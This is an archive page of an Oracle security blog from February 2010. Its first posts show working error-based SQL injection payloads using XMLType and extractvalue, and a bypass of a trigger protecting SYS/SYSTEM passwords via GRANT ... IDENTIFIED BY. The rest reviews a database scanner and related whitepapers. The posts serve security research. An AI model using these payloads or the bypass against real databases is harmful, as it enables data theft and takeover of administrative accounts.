Archive for Februar, 2010

2 new ways to create error messages

Donnerstag, Februar 25th, 2010

Today I came across a nice blog article „Methods of quick exploitation of blind SQL Injection Vulnerabilities in Oracle“ from Dmitry Evteev about new techniques which can be used in error-based SQL injection. One of the comments contains an additional technique. Even if the title of the blog is not correct for Oracle (it’s not blind SQL Injection it’s error based which is a small but important difference) the idea itself is nice. Sometimes the SQL statements are more complicated than necessary.

Using error messages of XMLType:

The XMLType allows to create error messages containing custom strings (like database users, passwords, …). The string must start with a ‚<:‘ that’s why we have to concatenate  ‚<:‘  to the string.  Additionally the all spaces and at-signs must be replaced.

SQL> select XMLType((‚<:’||user||‘>‘)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName „:SYS“ (not a Name)
Error at line 1
ORA-06512: at „SYS.XMLTYPE“, line 0
ORA-06512: at line 1

SQL> select XMLType((‚<:’||replace((select banner from v$version where rownum=1) ,‘ ‚,“)||‘>‘)) from dual;
ERROR:
19
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName
:Oracle9iEnterpriseEditionRelease9.2.0.8.0-Production“ (not a Name)
Error at line 1
ORA-06512: at „SYS.XMLTYPE“, line 0
ORA-06512: at line 1

This can be used in an SQL Injection statement:

or 1=length(XMLType((‚<:’||replace((select banner from v$version where rownum=1) ,‘ ‚,“)||‘>‘)))–

The second technique is mentioned in the comments: 

SQL> select extractvalue(xmltype(‚<x/>‘),’/$’||(SELECT banner FROM v$version where rownum=1)) from dual;

*
ERROR at line 1:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00601: Invalid token in: ‚/$Oracle Database 10g Express Edition Release 10.2.0.1.0 – Product

 This can be used in an SQL Injection statement:

or 1=length(extractvalue(xmltype(‚<x/>‘),’/$’||(SELECT banner FROM v$version where rownum=1)))–

How to Prevent a User Granted the ALTER USER Privilege From Changing SYS/SYSTEM password and how to bypass it

Mittwoch, Februar 24th, 2010

I found the following nice article „How to Prevent a User Granted the ALTER USER Privilege From Changing SYS/SYSTEM password“ [271077.1] on My Oracle Support. As always if I see PL/SQL code I am looking for ways to find security problems or to bypass limitations.

SQL> conn  / as sysdba
Connected.

SQL> CREATE or REPLACE TRIGGER prohibit_alter_SYSTEM_SYS_pass
AFTER ALTER on SCOTT.schema
BEGIN
IF ora_sysevent=’ALTER‘ and ora_dict_obj_type = ‚USER‘ and
(ora_dict_obj_name = ‚SYSTEM‘ or ora_dict_obj_name = ‚SYS‘)
THEN
RAISE_APPLICATION_ERROR(-20003,
‚You are not allowed to alter SYSTEM/SYS user.‘);
END IF;
END;
/

Trigger created.

SQL> conn scott/tiger
Connected.

SQL>alter user system identified by alex;
alter user system identified by alex
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-20003: You are not allowed to alter SYSTEM/SYS user.
ORA-06512: at line 5

SQL> alter user sys identified by alex;
alter user sys identified by alex
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-20003: You are not allowed to alter SYSTEM/SYS user.
ORA-06512: at line 5

SQL> alter user dbsnmp identified by dbsnmp;
User altered.

Many Oracle users are not aware that the grant command can also be used to change passwords or even create users („grant dba to user1,user2 identified by user1,user2“). In our case we can use this technique to bypass the database trigger.
SQL> grant connect to sys identified by alex;
Grant succeeded.

SQL> grant connect to system identified by alex;
Grant succeeded.

To fix this problem we have to block grant commands as well….

New Repscan 3.0 is available

Dienstag, Februar 23rd, 2010

The latest version 3.0 of our database scanner Repscan is now available. This new version supports MS SQL Server and Oracle databases. Repscan comes with a large amount of new features and a complete new GUI (First database scanner with Office-2007 UI).

Repscan 3.0

Here some of the new features of Repscan 3.0:

  • Support for MS SQL Server (2000, 2005, 2008)
  • Extremely user-friendly database configuration wizard (screenshot)
  • Flexible tree control (re-group databases by status, hierarchy, …) (screenshot)
  • Database security browser with drill down functionality (PDF, XLS, … export) (screenshot, screenshot)
  • New reports (performance, used_features, …)
  • Data Discovery (SSN, PII, Creditcard, Passwords, …)
  • Database Enumeration (custom, NMap support) (screenshot)
  • Pentest Features (Guess SID, Check default username/password combinations, …)
  • Exploit & Code Library (screenshot)
  • Version and Patch Information
  • Skins

Here some (old) features of Repscan:

  • Password plugin architecture
  • Password plugins for Oracle DES, SHA1, OID, APEX, OVS
  • Commandline features
  • PL/SQL Source Code Analysis Report

Here some statements of Repscan 3.0 users:

„Repscan Rocks“, „I must have this tool.“, „Very cool stuff“, „really like the clean interface… checks are great“, „…tend to be more Oracle security information hub than just scanner :-)“

Over the next  few weeks I will show here more details of some Repscan 3.0 features.

If you want to test Repscan 3.0 you can download it from our exclusive distributor Sentrigo

Really good whitepaper about „Hacking Oracle from the Web“

Montag, Februar 22nd, 2010

Sumit Siddarth (Sid) has just published a really good whitepaper about „Hacking Oracle from the Web„.This is the most comprehensive published collection of different techniques for attacking Oracle from the web. Sid spent a lot of time composing the different techniques mentioned in various presentations and whitepapers.

Sid describes various techniques like data extraction (inband techniques like union or error messages, out-of-band techniques like heavy queries, blind, …), privilege escalation (sys.kupp$proc, dbms_repcat_rpc and dbms_export_extension)  and OS code execution.

Well done Sid.

Interesting Article about SQL Injection in Oracle by Mike Smithers

Montag, Februar 15th, 2010

Mike Smithers, a former colleague, maintains a nice blog called „The Anti-Kyte„. He wrote a really interesting article „Self-Inflicted SQL Injection – don’t quote me !“ about SQL Injection in Oracle.

Well written Mike.